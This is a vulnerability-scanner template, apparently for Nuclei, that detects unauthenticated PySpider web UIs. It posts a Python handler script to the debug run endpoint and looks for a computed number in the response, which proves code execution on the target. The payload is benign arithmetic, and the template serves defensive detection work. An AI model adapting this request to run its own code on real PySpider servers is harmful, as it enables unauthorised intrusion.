id: pyspider-unauthorized-access

info:
  name: Pyspider Unauthorized Access
  author: ritikchaddha
  severity: high
  description: Unauthorized Access exists in PySpider which is an open-source web crawling and web scraping framework written in Python.
  reference:
    - https://github.com/ianxtianxt/Pyspider-webui-poc
  metadata:
    max-request: 1
  tags: pyspider,unauth

http:
  - raw:
      - |
        POST /debug/pyspidervulntest/run HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        webdav_mode=false&script=from+pyspider.libs.base_handler+import+*%0Aclass+Handler(BaseHandler)%3A%0A++++def+on_start(self)%3A%0A++++++++print(str(452345672+%2B+567890765))&task=%7B%0A++%22process%22%3A+%7B%0A++++%22callback%22%3A+%22on_start%22%0A++%7D%2C%0A++%22project%22%3A+%22pyspidervulntest%22%2C%0A++%22taskid%22%3A+%22data%3A%2Con_start%22%2C%0A++%22url%22%3A+%22data%3A%2Con_start%22%0A%7D

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "1020236437"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009b55741d916bb5b826553716a07541a26e12cd6c746536080c48a4376acb1e79022065fec3ecb45d1548c0f5e76ba35aa5997adc989a3419388aa93f3b0544c19515:922c64590222798bb761d5b6d8e72950